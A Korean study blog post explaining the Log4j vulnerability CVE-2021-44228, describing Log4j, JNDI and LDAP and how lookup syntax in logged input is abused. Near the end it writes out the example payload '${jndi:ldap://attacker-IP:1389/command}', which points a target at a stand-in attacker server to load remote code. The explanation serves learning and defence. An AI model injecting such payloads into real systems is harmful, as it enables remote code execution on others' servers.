2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.
1. Log4j 취약점(CVE-2021-44228)
cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것
2. 취약점에 이용되는 기능
해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.
2-1) Log4j
즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.
2-2) JNDI(Java Naming and Directory Interface API)
디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.
* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공
2-3) LDAP(Lightweight Directory Access Protocol)
TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.
3. 최종정리
즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악용 한다.
● 내용추가
- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음
> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음
- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재
> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음
- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행
> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력
> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것
'취약점 > 4Shell' 카테고리의 다른 글
Text4Shell (CVE-2022-42889) (0) | 2022.11.20 |
---|---|
Spring4Sell 취약점(CVE-2022-22965) (0) | 2022.11.12 |
Log4j 취약점 분석 #3 대응 (0) | 2022.07.15 |
Log4j 취약점 분석 #2 취약점 분석 (0) | 2022.07.15 |